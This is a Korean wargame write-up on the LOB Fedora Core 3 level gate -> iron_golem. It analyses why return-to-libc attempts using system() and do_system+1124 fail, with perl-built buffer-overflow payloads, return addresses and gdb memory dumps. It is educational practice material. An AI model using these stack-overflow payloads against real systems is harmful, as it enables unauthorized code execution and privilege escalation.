본문 바로가기

wargame/LOB FC

LOB FC3 [gate -> iron_golem] 를 풀다가 생긴 의문점에 대한 분석

1.왜 execve 대신 system을 사용하면 공격이 되지 않을까?


[gate@Fedora_1stFloor ~]$ ./iron_golem `perl -e 'print "a"x268,"\x41\x84\x04\x08"x3,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAÀu

sh: íƒ: No such file or directory

Segmentation fault


오류 메세지로 보아 정상적으로 system이 실행된것은 맞다.
하지만 파일을 찾을수 없다고 나온다. 어떤 문자인지 자세히 알아보기 위해 dump를 떠보자.

[gate@Fedora_1stFloor ~]$ ./iron_golem `perl -e 'print "a"x268,"\x41\x84\x04\x08"x3,"\xc0\x07\x75\x00"'` 2>./dump
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAÀu
Segmentation fault
[gate@Fedora_1stFloor ~]$ xxd ./dump
0000000: 7368 3a20 ed83 3a20 4e6f 2073 7563 6820  sh: ..: No such
0000010: 6669 6c65 206f 7220 6469 7265 6374 6f72  file or director
0000020: 790a                                     y.

덤프결과를 보면 0xed83 이라는 파일이나 디렉토리를 찾을수 없다는 오류가 나왔다.

이것은 우리가 실행되어야 할 파일명과는 다른 잘못된 파일명이다.
[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x080483d0 <main+0>:    push   %ebp
0x080483d1 <main+1>:    mov    %esp,%ebp
                    *****생략*****
0x08048438 <main+104>:  call   0x80482f8 <_init+56>
0x0804843d <main+109>:  add    $0x10,%esp
0x08048440 <main+112>:  leave
0x08048441 <main+113>:  ret
0x08048442 <main+114>:  nop
0x08048443 <main+115>:  nop
End of assembler dump.
(gdb) b *main+113
Breakpoint 1 at 0x8048441
(gdb) r aaaa
Starting program: /home/gate/iron_golem aaaa
(no debugging symbols found)...(no debugging symbols found)...aaaa

Breakpoint 1, 0x08048441 in main ()
(gdb) x/4x $esp
0xfef4cecc:     0x00730e33      0x00000002      0xfef4cf54      0xfef4cf60
(gdb)
0xfef4cedc:     0x0070eab6      0x0083eff4      0x00000000      0xfef4cee0
(gdb) x/wx  0x0083eff4
0x83eff4 <svcauthsw+712>:       0x0083ed3c

gdb에서 확인한 결과를 보면 0x3ced83이 실행되어야 한다. 그러나 3c가 어디갓는지 사라지고 없다.

왜 이럴까? 0x3c가 문자로 무엇인지 확인해보자.
[gate@Fedora_1stFloor ~]$ python -c "print chr("0x3c")"
<

확인해보니 '<'라는 문자이다.  그렇다. 이것은 리다이렉션 문자이고, 이것은 쉘에서 실행시키면 다음과 같은 현상이 발생한다.

[gate@Fedora_1stFloor ~]$ sh
sh-3.00$ <ls
sh: ls: No such file or directory

'<'는 온데간데 없고 ls를 찾을수 없다고 나온다.

왜 이런 현상이 system에서만 발생하는 것일까?

system은 자체적으로 do_system을 호출하고 do_system은 execve를 호출하는데 
system은 이 execve에 첫번째 인자로 sh를 줌 으로써 sh에서 어떠한 명령을 실행시키도록 하였다.
그래서 <라는 문자 때문에 막히게 되는것이다.




2.<do_system+1124> 를 이용한 풀이는 왜 안될까?

ret 주소에 do_system+1124의 주소를 넣으면 다음과 같은 코드를 실행시킬수 있다.

execve("/bin/sh", argv, envp);

이 공격기법은 dark_eyes문제에는 잘 먹혔지만, gate에서는 안되는 이유는 무엇일까?


왜냐면 gate문제에서는 overflow를 일으키기 위해서 argv[1]에다가 값을 넣는다.


하지만 dark_eyes에서는 fgets를 이용해서 표준입력을 통해 입력을 받는다.


그래서 execve("/bin/sh", argv, envp); 에 전달되는 argv가


gate는 {"/home/gate/iron_golem","aaaaaaaa....aaaa",NULL} 이런식이고

dark_eyes는 {"/home/gate/hell_fire",NULL} 이런식으로 전달된다.


execve는 첫번째 인자가 실행시킬 프로그램이므로, 일단 /bin/sh가 실행되긴 하는데,

argv[0]로 준 이름으로 프로그램이 실행된다고 보면 된다.

그런데 gate는 실행해보면 다음과 같은 오류를 내뿜는다.


[gate@Fedora_1stFloor ~]$ ./iron_golem `perl -e 'print "a"x268,"\x84\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa„u

./iron_golem: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa„u: File name too long


File name too long 이라는 오류가 뜬다. 왜일까? 

디버깅을 통해 execve에 어떤 인자가 들어가는지 보자.
(gdb) x/i $eip
0x7507ad <do_system+1165>:      call   0x7a5490 <execve>
(gdb) x/4x $esp
0xfeeab180:     0x00833603      0xfeeab204      0xfeeab210      0x0070eab6
(gdb) x/s 0x00833603
0x833603 <__libc_ptyname1+2172>:         "/bin/sh"
(gdb) x/3x 0xfeeab204
0xfeeab204:     0xfef55b13      0xfef55b29      0x00000000
(gdb) x/s 0xfef55b13
0xfef55b13:      "/home/gate/iron_golem"
(gdb) x/s 0xfef55b29
0xfef55b29:      'a' <repeats 200 times>...

{"/home/gate/iron_golem","aaaaaaaa....aaaa",NULL} 처럼 들어가는것을 확인 할 수 있고,
그렇다면 왜 File name too long이라는 오류가 뜨는가? 이는 리눅스에서 사용하고 있는 파일 시스템과 관련이 있는데
리눅스 파일시스템에서 파일 명의 최대 길이는 255byte이다.
그럼 일단 sh가 argv[1]을 파일로 인식하고 실행했다는것을 알수 있다.

근데 이것을 보면 약간 혼돈이 온다.

[gate@Fedora_1stFloor ~]$ sh
sh-3.00$ `perl -e 'print "a"x268'`
sh: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: command not found

sh를 실행시키고 a를 268개 주면 명령이 없다는 오류가 나온다.

이는 interactive상태의 sh는 default로 -c옵션으로 항상 입력값을 처리하는데 -c옵션은 커맨드 명령을 수행한다고 man페이지에 적혀있다.
그러므로 명령어는 255byte길이가 넘어도 상관없기 때문에 파일명이 길다는 오류가 나오지 않았다.

그러나 execve에서 실행시키면 interactive상태가 아니기 때문에 인자를 파일로 인식하고 실행시킨다.

다음을 한번 보면 이해가 갈껏이다.

[gate@Fedora_1stFloor ~]$ /bin/sh `perl -e 'print "a"x268'`
/bin/sh: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: File name too long

[gate@Fedora_1stFloor ~]$ /bin/sh -c `perl -e 'print "a"x268'`
/bin/sh: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: command not found

똑같은 명령을 주었지만 옵션에 따라 오류가 다르다.